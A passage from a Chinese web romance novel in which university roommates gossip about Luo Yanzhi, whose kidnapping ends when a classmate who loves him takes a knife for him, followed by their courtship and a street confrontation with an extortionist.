洛景之清楚的听见,对方那边没有了声音,她沉默了会儿。
似是给足了自己安慰,很快再次发声:“没关系,这很正常,校园里他喜欢别人,别人喜欢他的这种现象也很正常,那个,谢谢你帮我这个忙,我先挂了。”
“……”
随后便没了声音。
洛景之也知道,难过是有的。
而且这种滋味很不好受。
但感情的事没有办法勉强,他也没有办法,帮不上任何忙。
19. 19
蝉鸣声不绝,顾城大学的学生漫步在校园的花园里。
每年这个时候,都会有小情侣在园子里散步谈情说爱,可最热闹的不是现在,而是晚上。
洛延之因为这几天的事情一直都没睡好觉,在别的小情侣还在谈情说爱的时候,他在宿舍里睡觉。
连着几天的消耗精力让他有些吃不消。
洛延之睡的正香,被宿舍其他舍友小声嘀咕醒来。
冯峰在床铺上悠闲地刷着手机,无意间刷到学校论坛上被人匿名发出来的帖子。
他揉揉眼睛,仔细再看。
他顿时惊措:“卧槽!”
“小点声。”他的临铺李轩叮嘱道,“延之还没醒,把他吵醒了,看他以后还给不给你看他的课题。”
经提醒,冯峰才收了音:“哦,对对对。”
他激动地坐起身来,又重新看了一下手机里的内容。
没错,这帖子上的照片不就是他吗?!
冯峰降低声音,凑到李轩的床位边:“你看这个,这是不是洛延之?”
对方大概扫了一眼:“是啊,这不都写着呢吗?”
“他写我们就得信?这两年编造出来的绯闻还少吗?”冯峰说,“我是说照片,这照片像不像他。”
李轩顺着他的指引,认真斟酌起这张照片:“你别说,还真有点像,可惜只有背影,要不是跟他亲近的人,恐怕很难看出来。”
“是吧,我觉得是他。”冯峰激动道,“你看标题,‘系草外出邂逅佳人’?还有这女的,是延之的女朋友?!”
这给冯峰激动的不行。
毕竟在这个宿舍里,洛延之长得最好看,可唯有他没有女朋友。
这个问题他自己也没反思过,更不在意有没有女朋友。
洛延之更多的心思都放在了学业上。
他可是顾城大学出名的清冷系系草。
冯峰简直不敢相信自己看到的:“这真是太阳从西边出来了,这真是他女朋友?不会又是这些人造谣出来的吧?这张照片一看就是偷拍。”
李轩继续刷着自己的手机:“我也没听延之提起过。”
他还是不死心,继续追问下铺的那位:“陆晨,你呢?听说过没?”
下铺的男生正靠着床铺,耳机里的声音让他觉得安静。
冯峰叫了两声,没人应,索性直接将人的耳机给扯下来。
陆晨才注意到上铺的人:“干嘛?”
“老陆,延之有没有女朋友,你知道不?”
“怎么突然问起这个?”
“你看这儿,这人像不像他?”
陆晨接过手机,认真打量,照片上男人的身影的确和洛延之有百分之九十的相似度。
而站在男生身旁的还有一位女生,女生他们都不认识,没什么印象,长相也就一般。
说实话,如果洛延之真的喜欢这样的女孩,他们都觉得和他不相配。
看他看照片时的认真模样,似是在思索什么。
冯峰和李轩看他这个状态,两人对视一眼,似乎验证了内心的猜测。
确定他一定是知道什么。
这么炸裂的八卦他们当然要听一听。
冯峰凑过头去:“你是不是知道什么,跟我们俩说说呗。”
李轩跟着煽风点火:“是啊老陆,我们也比较关心延之的感情经历,毕竟咱们宿舍就他一个单身狗了。”
陆晨看了眼熟睡的洛延之,降低声音:“真想知道?”
两人一起点头。
“行吧,其实他们两个现在不是男女朋友,只是互相对对方有好感而已。”
冯峰:“那这好感怎么来的?”
“……”
看来这俩人不问出点什么是并不打算善罢甘休了。
陆晨也不再瞒着:“那天,我正好陪延之出门,他说去补办一下身份证……”
-
回忆。
几天前。
清晨,洛延之早早起来收拾东西。
陆晨也有早起的习惯,两个人脾气性格还算是搭的来:“起这么早?”
洛延之将手机和耳机揣进衣服口袋里:“嗯,出去补办一下身份证,不然到期有急需的话就麻烦了。”
“哦。”他闲着没事,正巧也想出去买点东西,“用不用我跟你一起去?”
“嗯?”洛延之问,“你不用陪女朋友?他们俩都去了,你不去,万一女朋友怪罪下来,我可不敢背负这个骂名。”
他一本正经的开着玩笑。
陆晨坐起身,穿上鞋去洗漱:“没事,她也就是要我一条命,不会牵连无辜人的。”
“……”
两人就这么不约而同的一起出了门。
外面的空气中弥漫着青草的气息,校园中处处可见的情侣,唯有他们是两个大男生结伴出门。
这不禁引来周围人异样的目光。
陆晨和他并肩走着,时刻注意着旁人的目光。
最后,他刻意和洛延之保持着一定距离。
洛延之:“?”
他感到莫名其妙:“做什么?”
陆晨尴尬道:“我有点后悔跟你一起出来了。”
“?”
“别人用一种看情侣的眼光看咱俩。”
“……”
两人就这么一前一后保持着一定距离到达目的地。
市里的公安很忙,顾城开发区那边人群活动量低,各个行业相对市里来说都是人少。
两人出门打了车就直接来到了人偏少的公安。
办完事,他们结伴出来。
这个地方人烟稀少,和市里的繁华肯定不能相比。
时间赶到晌午。
两人打车来到最近的地方吃了份面条,刚出门没走多远,这边的位置较为偏僻,人也稀少。
陆晨看着这街道上那屈指可数的店铺,也知道这地方确实是鸟不拉屎。
看着他唉声叹气的模样,洛延之故意打趣他:“后悔陪我来了?”
“别说,还真有点。”陆晨说,“你说你平常不是待在学校就是待在学校,还不容易出来一趟,还来这种鬼地方办身份证,唉~~~”
“你身份证到期了?”
洛延之倒不觉得:“不是,丢了。”
“前段时间组织同学办招生会的时候不小心丢的。”
“倒也能理解。”陆晨轻声自在的走在他前面,“那段时间确实是忙,还以为你是到期来换新的了,补办也好啊,至少可以换掉身份证上那张丑到爆的照片。”
“一个月左右出来?”
“嗯。”
“不过有一点你说错了。”他得意道,“哥土过,但从没丑过。”
“……”
两人边聊边走。
道路边的门市店铺逐渐变少,车辆也渐少,整条街上似乎没有行人过往。
唯有他们两个,还慢慢悠悠的走在阴凉处。
洛延之忽而觉得背后一阵发凉,他察觉到什么,似乎总感觉有人跟踪他们。
他没这方面经验,只是看过一部分书籍,让他不自觉保持警惕起来。
他猛然停下脚步,而当朝后面看过去时,后面的人用浸湿迷药的毛巾捂住他们的口鼻。
没一会儿,他
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们觉得身体逐渐没了力气,意识也在慢慢消失……
偏窄的巷子里,两个少年被人掳走摔倒在地上。
这里本就人烟稀少,绑匪肯定不会在人群中奖=将他们绑走。
可绑匪怎么知道他们会出来?
很明显,对方是故意盯上他们的。
偶然的可能性很小。
洛延之和陆晨很快反应过来发生了什么,他们被人绑架了。
而他们首先要弄清楚,对方是来清仇还是掠财。
他们手脚能活动,站在他们面前的大概有七八个壮汉,将他们团团围了起来。
对方个个都戴了蒙面,似是很怕他们认出来。
为首的壮汉身上纹着很诡异的纹身,而脸上也多了几条凶狠的伤疤,这样的形象,不论谁见了都会从心里觉得恐惧。
而对于这些还没毕业的学生来讲,这些凶狠的人是最爱欺负的。
“大哥,应该就是他们。”对方身边的小弟跟他汇报。
应该?
难道对方是有目的的绑架他们?
洛延之对他们起了警惕,对他们说过的话更是觉得可疑。
洛延之先开口,试图摸清对方的来意:“你们是谁,我们无冤无仇,为什么绑架我们?”
“我们当然无冤无仇,今天绑你们过来,就是想弄点钱来花花。”对方毫不掩饰,也丝毫不怕他们的身份。
“要钱?”洛延之说,“可以,把我们放了。”
对方轻笑一声,三百斤重的汉字身上满是汗臭味,壮汉让人给他点了支烟,但脸上蒙着面,不方便抽也就此作罢,伴着烟熏味,这是种说不出的味道。
洛延之下意识在他凑过来的时候向后靠了靠,又忍不住的将头侧过去。
“当老子傻?把你们放了,让你们去报警来抓我?”
对方看似不是很好糊弄,看来平时没少做这种事。
他们没怎么来过这儿,也不清楚被他们抓来了什么地方,只觉得这里不是很远,应该还在顾城。
对方说话毫不客气:“赶紧,把身上所有的钱都交出来,小子,你最好不要激怒我,把钱交出来还能保住一条命,要钱要命,选择权在你们手里。”
洛延之尽量告诉自己保持冷静。
两人属实没经历过这些,也就洛延之还有些这方面的知识科普。
对方说话毫不客气,而且已经言明,明显就是冲着钱来的。
洛延之镇定下来:“你既然敢这么直接的要钱,应该是已经知道我的身份了,那你就应该知道,你们这笔”生意”不论是成功还是失败,依照我的能力和背景,都有千万种方法能够找到你们。”
刚才的壮汉听到这话,心中像是想到什么,突然变得犹豫。
洛延之意识到对方对他的话产生了动摇。
“但是如果今天你把我们放了,我说话算话,绝对不会追究今天的事。”
他说,“要是你还是坚持,即便拿到了这笔钱,你还有命去花吗?”
“你小子在威胁我?”
“这怎么能是威胁,我说的话有没有道理你自己心里应该分得清轻重。”洛延之说,“为了一笔没机会花的钱,搭上自己的后半生,值得吗?”
壮汉本就是个粗人,根本没有文化,洛延之随便几句话就将他绕进去。
他犹豫不决,身后的小弟纷纷低声道:“大哥,他是first集团董事长的小儿子,咱们要是真,真动了他,肯定是跑不了的。”
“是啊大哥,要不咱们算了,咱们惹不起他们,咱们干这事也只是为别人办事,要不就算了,大不了不挣这笔钱了。”
20. 20
此刻,手下的人也议论纷纷。
壮汉誓不罢休,这笔“生意”是个大单,拿钱让他们办事的人给出一笔不小的数目。
他总是心心念念这笔钱。
“事已至此,我们没有退路了,这事成也得成,不成也得成。”
既然答应了,那就办下去。
随后,壮汉虎视眈眈的盯着他看,对方撇撇嘴,满脸不屑:“小子,落到我手里,是你几句三言两语就能跑掉的?别做梦了。”
“我拿了钱,就得替人办事,对方想要你死,我只不过顺势想捞点钱来花花。”
他阴险的面孔终于撕下伪装,恶狠狠地咬牙道:“你的命,要终止于此了。”
“杀了他!”
一声令下,站在他身后的人逐渐朝他们逼近。
洛延之甚至不相信,在这个法治社会竟敢随便杀人。
这怎么会……
“你们在干嘛?!!!”
这个声音惊扰到他们,所有人都被声音吸引,朝一个方向看过去。
只见狭窄的过道尽头,站着一位女生。
可刚才喊出的声音却是那样的震撼。
壮汉的杀意占据他的思绪,逐渐朝她逼近。
“我已经报警了,这附近最近的公安局就在不远处,相信警察很快就会赶来,你们别想再跑!”女生强装镇定的喊道。
可即便她这样说,对方也没有想要放过他们的意思。
他们动作似是留了余地,丝毫不顾刚才女生的话术,抄起手里的短刀就要刺向洛延之。
女生眼疾手快,不顾自己只身挡在洛延之身前。
而那把短刀,迅速刺入她的肩膀。
瞬间,鲜血涌出来。
而此刻更震惊的人是洛延之。
他甚至做好被杀的准备,怎么也没想到,这个女生会不顾一切的用自己的身体来为他挡住这一刀。
明明他们只是刚刚见面的陌生人。
为什么她会这样做。
对方原本只是想吓吓他们,并不敢真的杀人。
只是没料到这个女的会真的冲上来。
壮汉手足无措的站在原地,看着她肩膀上的鲜血浸湿衣衫,他恐慌了。
手里的刀子被血液染红,壮汉一个没握住,短刀落在地上。
“大,大哥,你……”
“别看了,大哥,咱们赶紧走吧。”
“是啊大哥,这女的已经报警了,再不走我们就真的走不了了啊!”
“快走啊!”
对方催促着,已经拉扯着壮汉赶快逃离现场。
见他们落荒而逃,洛延之和陆晨也想办法自救。
看到地上那把短刀,洛延之努力去捡起来,拼命去割捆绑住手脚的绳索。
此刻,以身相救的女生虚弱的躺在地上,看着他们的动作她却什么都做不了。
很快,洛延之隔断绳子冲到对方身边,将人抱起来就要走:“你自己用刀隔开绳子,我先送她去医院,一会儿我们电话联系!”
陆晨重重点了点头。
现在人命关天,他必须第一时间将人送去医院抢救。
洛延之不明白对方为什么会这么拼命救自己,但他眼见着怀中女孩的肩膀不断涌出鲜血,血液已经染脏了他的上衣,他必须快速将人送去抢救。
在这本就人少的地方,想打辆车都是十分困难,最后,还是遇到一位好心的大哥开车将他们送去医院。
女生被医生接走,洛延之配合着办理了相关手续后,便一直等在手术室门口。
直到手术结束,洛延之才放心跟到病房中,等候女生醒来。
他给陆晨发去了所在的位置,便又去整理下身上的血渍,这样的形象走在医院里,不免也会吓到其他病人。
女生昨晚手术后醒来也已经到了快傍晚的时候。
洛延之喜出望外:“你醒了,你现在感觉怎么样,伤口还疼吗。”
在她昏迷的时候,他细细打量着她,确定眼前的女孩他真的不认识,可端详她的相貌和五官,也是那种足以打动人心的长相。
女孩睫毛修长,似是鹅毛般密集,她眨着灵动的双眼注视着眼前的男生。
听着对方的关怀,女生心里觉得很欣慰。
“你不用害怕,医生说你的伤口只是皮外伤,修养一阵子就可以恢复。”洛延之说话的声音很温柔,“刚刚谢谢你奋不顾身的来救我,我们,认识吗?”
女生疲惫的双眼细微的看向他,眼神中满是温柔:“你好,洛延之。”
“你知道我的名字。”
她吞了口气:“是,我喜欢你。”
“我们是同一所学校的学生,我已经,默默喜欢你很久了,只是你并不认识我。”
她虚弱的诉说着这份喜欢。
没多久,陆晨慌忙的也赶到病房。
看到病床上的女孩已经醒了,他才松了口气:“怎么样,没事吧?”
洛延之提醒他小点声:“没事,就是需要修养一段时间。”
“那就好那就好。”
“你先坐下喝口水。”
“好。”
安排好陆晨休息后,他的目光再次看向女生:“这是我朋友,陆晨。”
女孩轻轻点头。
“我叫宁曼曼。”
“你也是顾城大学的学生,你是怎么认识我的呢?”
宁曼曼张口道:“前段时间,你们举办的音乐社团招生会,我去申请参加了,我见到了你,就一直偷偷喜欢你。”
“洛延之,我不后悔自己替你挡的那一下,至少,我有机会认识了你,也亲口告诉了你我的名字。”
她这样一说,洛延之倒是有点印象。
他们的音乐群里,好像是有个叫宁曼曼的。
一旁坐着吃瓜的陆晨瞬间明白了一切。
宁曼曼刻意表现得很懂事:“没关系,我做这些并不是想让你补偿我什么,是我心甘情愿的,你如果有事可以先走,我没有关系的。”
她咳了几声,脸色确实不好看。
宁曼曼虽是这样说,但洛延之面对这种情况是不可能离开的。
但一旁的陆晨怎么听着感觉有点奇怪。
似乎对方是故意做出一副很怜爱的模样给人看。
但人家毕竟救了他们,他只是觉得心里不自在,并未说什么。
洛延之坐到她的病床边:“这段时间我会来照顾你,直到你康复为止,眼下还是养好身体最重要。”
“我这次先回去拿点备用的东西,然后搬过来医院照顾你,好吗?”
她点点头,没再说话。
今天发生的事超出他们的承受范围。
洛延之和陆晨一起走出医院。
医院人来人往,他们的心思全然没在他们身上。
陆晨总觉得哪里怪怪的,但是又说不出来,事情进行的很荒唐,但是又很像是被安排好的。
他并肩和洛延之走着:“我说对了吧,看来今天确实不该跟你
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出来。”
“绑架,我还是人生第一次被人绑架。”
“?”洛延之怀疑自己的耳朵,“这话怎么?听着怪怪的?怎么感觉你还挺兴奋的?”
他质疑的眼神看向他:“该兴奋的人是你吧?出来办个身份证邂逅自己的爱情了?果然还得是你。”
“不过说真的,你认识她吗?”
洛延之摇头,他现在都还没反应过来:“不认识。”
“不认识人家肯为你舍命相救?你骗鬼呢?”他是真不信,“这事如果告诉李轩他们两个,估计谁都不会相信。”
“这事确实发生的太突然了,不过人家肯为了我不惜站出身来替我挡刀也是事实,不管怎么样,我也得对人家负责。”
“负责?”陆晨好奇,“你打算怎么对她负责?以身相许?”
“胡说什么。”洛延之说,“人家受伤我总不能不管吧,好了好了,咱们先回去,剩下的事我来处理就好了。”
见他铁了心要补偿宁曼曼,陆晨也没再多说什么。
回忆结束。
宿舍的两人皆瞪大了双眼,显然一副不信的模样。
这故事太离奇,什么邂逅的缘分没有,偏偏他们是最离谱的那种。
出门办个身份证被人绑架,然后冲出个美女救了他们一命,然后美女说一直暗恋他,这故事换谁都会觉得太多巧合了。
冯峰碰了碰李轩的胳膊,问道:“你信吗?”
“我不信。”
他们对视后:“我也不信。”
两人随即想要大笑,但是怕吵醒睡觉的洛延之,他们努力控制着,努力憋住。
陆晨看他们的样子也就猜到,他们肯定不相信。
“不是,现在都什么社会了?还有绑架?!”冯峰低声道,“你不会是加了点自己的想象进去吧?”
李轩说:“就是啊老陆,你这话换谁都不信啊。”
陆晨叹口气:“真的,我真没骗你们。”
冯峰说:“你的意思是说,那个宁曼曼救了延之后,延之也慢慢喜欢上她了?这怎么可能……”
本想否认这个猜想,但他转念又道:“好像也不是没有可能哈?”
“怎么说?”李轩问。
“延之又没谈过,任何一个女孩肯舍命救自己他都会对对方心动,换成我我也感动,但是这里面有几分是爱情那就不知道了。”
李轩皱眉回忆起这几天洛延之的奇怪之处:“怪不得他现在出宿舍的次数频繁了很多,原来是去见喜欢的人啊。”
他将头探过去又说:“对了老陆,那宁曼曼现在身体康复了没?”
“没有。”陆晨重新躺回到自己的床铺上,手里不断翻阅着手机,“那可是活生生挨了一刀,怎么可能会那么快就好,更何况,女孩子身体娇贵,她不得好好咨询一下医生怎么样才能不留疤痕?”
“有道理。”冯峰自顾自说着,“看来,她一时半会儿出不了院,延之摊上一个大麻烦。”
李轩替他纠正:“怎么能说是麻烦,要是人家姑娘长得好看,延之就直接将人收了,那不就成了桃花嘛。”
“这样一来,咱们宿舍不就都脱单了?”
冯峰附和着说:“对对对,还是该这样想才对。”
陆晨后面就没再搭话。
事情的发展他们并没有经历,而他却看在眼里。
就算是相亲也得要有了解的过程,可这个女生的高明之处就是,因为这件事,她已经将洛延之的心笼络住了。
21. 21
上午,宿舍里,几人正偷聊的火热,对于洛延之的八卦,他们几个很是乐意听。
还没聊尽兴,突然一阵手机铃声打扰他们的对话。
冯峰埋汰着脸,不耐烦道:“谁的手机那么没有眼力见,打扰了咱们的话题。”
李轩拧眉朝他歪着嘴,这个动作一直重复着。
但冯峰丝毫没注意到:“怎么了?你嘴中风了?”
他甚至还学着他的动作做了几遍,好像,忽然察觉到什么。
他下意识朝身后看过去,此刻洛延之那双阴鸷的双眸正盯着他。
洛延之一觉睡到日上三竿,此刻被打扰了好梦脸色十分不爽。
“原,原来是你的手机啊延之,我就说谁的手机这么聪明,在该需要打断的时候就发出声响,哈哈……”冯峰尴尬笑着,他还想后面几年靠着他活着呢。
他们把他吵醒,洛延之不高兴还不知道怎么收拾他呢。
洛延之:“别说话。”
“哦。”
刚才一副想要将他作业都撕了的表情,却在看见来电人时,这些不好的情绪统统消失不见。
对方打来的是微信视频,洛延之整理了自己的仪容,然后才按下接听键:“曼曼。”
“怎么这么久才接啊,你在忙吗?”
“不忙,刚才在睡觉。”他说话永远都是一副淡定从容的模样。
“看来是我不小心打扰你睡觉了,抱歉啊。”
洛延之说:“没事。”
没事?
刚才一副想要随时杀我的表情,现在随便一句没事就过了?
冯峰觉得不可思议。
更不敢相信,他们才认识多久,这彼此间的称呼就这么亲密了?
他没敢说话,只是继续听着他们的对话。
宁曼曼电话那边感觉很开心:“我今天下午没课,听说最近有部电影很不错,要不要一起去看?”
“可以,我也没课。”
“那太好了,你收拾一下,我们一会儿先吃个饭,然后下午再去看电影。”
“好。”
挂了电话,洛延之还沉浸在刚才被宁曼曼主动邀约的甜蜜中,甚至还在幻想着和她以后的发展。
直到注意到其他几个人投来的异样目光。
冯峰抱着质疑的情绪:“大哥,你没看课表吗?下午咱们两节课呢,你们出去看电影?”
“就是啊。”李轩跟着吐槽,“再说了,以你的美貌,随便抛个媚眼就能吸引一群美女,至于被人家主动邀请看个电影就高兴成这样吗?”
“延之,你以前的傲娇哪去了?”他问。
洛延之半信半疑的问:“我以前,傲娇吗?”
三人一同无语:“……”
好似在说,你以前什么德行自己不知道?
他们也真是没想到,铁树开了花还真觉得不习惯。
更不习惯的是,他会为了喜欢的姑娘改变自己的性子。
洛延之说着边起床洗漱:“下午的课麻烦你们帮忙签个到,后续我会自己补上。”
“真是太阳从西边出来了啊!!”李轩到现在还是不敢相信自己眼睛看到的,他呆愣的看着洛延之,边说还边摇头。
冯峰说:“还是赶紧习惯习惯他这孔雀开屏的样子吧,说不定以后都是这样。”
陆晨淡淡的躺在床上补充道:“我也有同感。”
“这家伙是没谈过恋爱吗?”冯峰质疑道。
李轩忍不住笑道:“你还真别说,他TM一股脑的都冲进学习里了,谈屁恋爱啊,你是不知道,咱们系里的论坛都说,他就是一个花花世界的和尚,真是可惜他这幅好脸蛋了。”
“现在不一样了。”冯峰替他狡辩,“他现在是花花世界里的花和尚。”
洛延之:“……”
他不动声色的听着他们光明正大的议论,脸上没有一丝动容。
更多是已经习惯了他们现在对他的议论。
-
洛延之收拾好后直接来到校门口等她。
这些日子,他们的关系逐渐增进,这让洛延之认为他们似乎真的就是天作之合的一对。
甚至有些相见恨晚的感觉。
他已经很久没有遇到可以聊得这么来的朋友了。
虽然他们现在还没有确认彼此的关系。
晌午的校门口人很多,各个同学也都是想到外面去吃午饭,偌大的校门口,洛延之这张脸往旁边一站,路过的小姐姐们纷纷要起了微信。
最后他只能一一拒绝后,去门卫大爷那里继续等。
洛延之没有谈过恋爱,只觉得在跟女生的接触中,应该是男生更为主动。
所以在和宁曼曼的相处中,他多数都是占主动方。
也被其他人看在眼里的是,洛延之主动追求宁曼曼。
等了将近十分钟,宁曼曼背着洋溢着欢悦的心情走来校门口。
洛延之在门卫处悄悄看着她。
宁曼曼的长相不是那种绝世美女,也不似池念那般一眼万年的青纯,但她就是长着一张很耐看的脸蛋,身上也透着一股欢快的气息。
她穿了一件白色T恤,搭着一条牛仔阔腿裤,整个人彰显着大学生的青春气息。
宁曼曼透过窗口瞧见屋里的他,脸上的喜悦清晰可见,开心的朝他摆手。
正巧洛延之也看见她,他和门卫大爷打了声招呼后也走出来。
宁曼曼笑着朝洛延之跑来,直接冲进他的怀里,被他稳稳的接住。
两人在旁人眼中看上去是那么幸福。
“咱们先去吃饭好不好,我好饿啊。”
“饿你还不早点出来。”
“我这不是想让你看见最美的我嘛,所以就收拾的久了些。”
两人边说边走,嬉笑着离开校园。
而两人这温馨和谐的一幕被另一人看在眼里。
一女生将远处的视线收回,一脸不满的埋怨道:“你喜欢他,为什么不跟他说呢,还要这么不甘心的偷偷去关注着他。”
而在她身边的另一位女孩迟迟收不回视线,眼神中满是遗憾,却又多了几分满足:“他既然有喜欢的人,我,不想去打扰这份感情。”
“我讨厌第三者,也坚决不会在他们互相喜欢的时候,强行去插入这段感情,如果真这样做了,那我和第三者有什么区别。”
女孩又说:“夏槐,你要知道,是你先喜欢他的,却被别人占了先机,你心里不觉得失落吗?”
夏槐喜欢了洛延之很久很久,久到她自己都记不清时间了。
片刻后,她恋恋不舍的收回视线:“是我没有勇气跟他说,他才喜欢别人的,况且,
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感情没有先来后到,不是谁占了先机就可以得到他的爱。”
“你真的不努力去争取一下吗?如果洛延之他也喜欢你呢?”
“我们从小就认识,我也喜欢了他那么久,却始终没有勇气去说出这份喜欢。”她继续说,“如果宁曼曼真的是最适合他的,如果洛延之真的喜欢她,我能做的,就是给予祝福。”
“夏槐,你好傻。”
她只是简单笑笑,而后再次望向那早已消失的身影。
夏槐嫉恶如仇,她清楚的知道什么事该做什么事不该做,喜欢一个人,她就要让这份感情充满美好,不管是她的,还是洛延之的,都要充满幸福。
校园外,洛延之和宁曼曼都没有注意到身后那注视他们的一双眼睛,两人开心的计划着该怎么度过这美好的一天。
他们这样的关系,虽然还没有正式确定为男女朋友,但这样的亲密关系也足以证明两人的关系很好。
是旁人羡慕不来的佳话。
洛延之边走边问:“我们去看什么电影?”
“威尼尔莱湖。”宁曼曼熟练地挽起洛延之的胳膊,动作很是自然,“听过吗?”
“没有。”
她边走边自顾自说着:“那我告诉你,威尼尔莱谐音是,为你而来,这部电影讲的是一只美人鱼从小生活在这片湖泊中,湖泊位于北极方向,所以每到初七那天,湖泊中会出现极光幻化出的情侣,凡是看到这对极光情侣的人们,都会长久,这只小美人鱼成年后,也想游到湖面上去看一眼,然后,她遇到了影响她一生的男孩。”
她说着,越来越觉得这样的故事很浪漫。
哪个女孩子不想要一份真挚的感情呢。
洛延之注意到她不再说话,这才将目光转移到她身上:“怎么不继续说了?”
“我在等你继续问啊。”宁曼曼表现出来的开朗和烂漫是洛延之自身不具备的。
女孩的主动让他很是喜欢。
他喜欢这样的女孩,这样具有自身魅力足够吸引他的女孩。
洛延之在她看不见的地方笑着,又想到她说的这么详细,于是问:“你之前看过这部电影?”
“没有,我是听我们室友说的。”她说,“所以我们去看这部可以吧?”
“嗯。”
洛延之心里其实挺喜欢她的,总觉得这样的女孩子在性格方面是和自己互补的。
却一时也分不清自己到底是真心喜欢,还是处于对方对自己的奋不顾身相救产生的感激之情。
宁曼曼满意的笑着:“你有什么喜欢喝的饮品吗?一会我们看电影的时候请你喝。”
“你要请客?”
“那有什么关系,你喜欢喝什么?”宁曼曼表现的很大方。
“咖啡。”他说,“卡布奇诺。”
“这么巧啊,我也是。”她说的那么不经意,“我就喜欢喝卡布奇诺,喜欢看一些日漫,偶尔打会儿游戏,也喜欢看书,我最喜欢布丁的那本《爱在心口间》。”
洛延之甚至也觉得很奇妙:“真的吗?那我们确实很投缘,喜欢的东西都那么相似。”
“相似?不应该一样吗?”
他一时没懂什么意思:“什么?”
“我的意思是,我们爱好这么相投,喜欢的东西不应该一样嘛。”
“嗯。”
22. 22
随后两人边交谈边来到一条学校附近最繁华的街道,这条街小吃很多。
宁曼曼刚才说她饿了,洛延之便带她来到这儿,选择比较多。
“你想吃什么,我们可以一起去吃啊。”
宁曼曼问,但始终没有得到答复。
她又喊他一声:“延之?”
叫了他两声,都没等到回应,于是宁曼曼顺着他的目光看去。
只见他最后目光落定的方向是另一位女孩子身上。
女孩不小心碰到了一位不依不饶的路人,指责她弄脏了自己的裙子,一定要她赔偿,女孩极力解释并真心道歉,可对方没想善罢甘休的样子。
洛延之将这一幕尽收眼底,他浓眉紧皱,似乎这闲事他非要管的意思。
宁曼曼看到这女孩,不知怎的,就感觉到了危机感。
她从心里觉得,不能让他过去。
宁曼曼将他的思绪拉回来:“延之,你在看什么啊?”
她以为,将他的注意拉回到自己身上,洛延之就会继续和她“谈情说爱”。
可没想到,对方却看她一眼后说:“我,碰到一个熟人,你在这儿等我一会儿,我去去就回来。”
“哎!你……”宁曼曼话还没有说完,洛延之已经跑开。
留她一个人站在那里很是尴尬,从此刻起,宁曼曼心里就越发排斥这个女孩。
人群中,围观的人逐渐变多。
一个女人的叫嚷声似是骂街的泼妇般狂妄。
周围的路人纷纷抱着看热闹的态度,谁也不敢去招惹这个瘟神。
“小姑娘,你不能因为你眼睛看不见就这么算了吧?”女人能说会道,明显没有息事宁人的意思,“虽然你是不小心的,但所有人搞砸事情后都说自己是不小心的,那我们的损失怎么办?”
女人对这方面似乎格外有经验。
而在注意到对方是一个人的时候,她的气势更加张狂。
女孩小小的一只,被她说的竟一时反驳不出什么:“我,对不起……”
“再说了,谁知道你是不是不小心的,万一你是故意撞我身上呢?我这条裙子一千多块钱呢,你就这么给我弄脏了,我扔干洗店让人洗都洗不出这么亮的颜色了,万一他们给我洗坏了,这里面的损失我找谁赔偿?”
“你今天别想走,解决不了这件事咱们谁都走不了。”
女人的叫嚷声逐渐引来一些路过的路人。
道边上的小店主人听闻声音也纷纷出来看个热闹。
洛延之就是被这声音吸引过去。
一旁的包子铺女老板和自己老伴议论道:“这人怎么这样?她的裙子又没有坏,只是蹭上点泥土就这么嚣张。”
“是啊,人家都说不是故意的了,她这么咄咄逼人一个小姑娘,唉~~~”
“我看,这摆明就是想讹人小姑娘的钱。”
眼看着围观上来的路人越来越多,女孩只想着赶快解决这件事。
她的声音没有底气,她看不见,没有跟对方硬钢的能力:“那,您想怎么解决呢?”
听她这样说,女人脸上的怒火反倒消了一些,转怒为得意:“好说,我这条裙子一千五,你赔我一千块钱就行了。”
“一千五……”
周围的路人听着刚才包子铺的两口子议论的话题,竟差异道:“还真是讹人的?!”
“我就说嘛,她在这叫嚷半天了,一直追着人家姑娘的错处得理不饶人,又不说解决办法,这不是想讹人钱还想干什么?”
“也是啊。”
“真是好心人的话,每天有那么多的事情要忙,谁会在这件事情上花费时间和精力呢。”
“这样的人不好惹,就像是块狗皮膏药,咱们管不了。”
“这小姑娘也是倒霉了,遇到这么个人。”
有人替她感到不公,有人愤愤不平,有人感到惋惜,却没有人敢跟这种女人扯上关系。
直到女孩想用自己为数不多的钱来解决问题时,她身前不知何时竟站了一位男生。
人群中间的男生异常鲜艳,他是唯一一个替她出头的人。
洛延之将女孩护在身后,他侧头看了她一眼,似在确认对方的身份。
他没认错,这个姑娘就是那天和洛景之一同出席宴会的人。
也就是洛景之的女朋友,池念。
按理来说,他还要叫她一声嫂子。
即便不是这样的关系,他也不能眼睁睁看着别人被坑骗而袖手旁观。
刚想和女人正面回怼,宁曼曼跟过来,拉起他满脸为难:“延之,你别管这些了,这又不管你的事。”
“你是想让我袖手旁观?”
“不是,这件事你管不了,为什么还要趟这趟浑水呢,你没看见对方也这么不好惹吗?”
宁曼曼的语气倒像是这女孩真的做了什么不可饶恕的过错。
洛延之和她对视几秒后,挣脱开她的手,毅然决然的站到人群中央。
池念察觉到对方挡到自己身前,听闻刚才的声音,她确定自己不认识这个人。
但此刻洛延之就成为了女人要针对的对象。
“你是干什么的?想英雄救美是吗?”女人反倒没生气,胸有成竹的说,“那行,你替她赔了我的裙子也行,一千五,少一块钱都不行。”
她原是认定了洛延之既然管了这事,就肯定会在女生面前彰显自己的自尊,谁都不想在女生面前出糗。
想到这儿,对方便更有底气。
可不料洛延之不吃她这套,直接掏出手机,欲要拨打电话。
女人眼神变得犀利,注意到他的动作骤然变了脸色:“你干什么?”
洛延之胸有成竹的说:“报警。”
“你,就算报警也还是她撞到我在先!能私了的事情你非要报警是吗?!”女人继续叫嚷。
“是,报警之后该赔偿多少就赔偿多少,顺便找品牌方验一验你这条裙子的真假。”
“开什么玩笑品牌方是你家的?你说验就验?”女人喊话,“你这话吓唬吓唬你身后的小屁孩还行,真当我是吓大的?”
对方以为他是想恐吓她,故作镇定的“拆穿”。
却丝毫没注意到洛延之手上那刚刚接通的报警电话。
洛延之不紧不慢的说:“喂,110吗?”
“你来真的?”女人显然慌了神,“行了,不就是想少赔点钱吗?好好说话不行?非要闹那么大。”
眼见对方的态度得到缓和,洛延之才挂了电话,毕竟能好好说话的事情谁也不想闹大。
一旁围观的群众中脱口而出:“就是嘛,二话不说就张口要人家那么多钱,不摆明是骗子吗?”
“坏事多做了,这叫恶人自由恶人磨。”
“就是就是,这下看的真解气。”
“你们懂什么?!”女人气急败坏的骂道,“我才是受害者,明明是她撞到了我,还弄脏了我的裙子,你们在一旁胡说什么!”
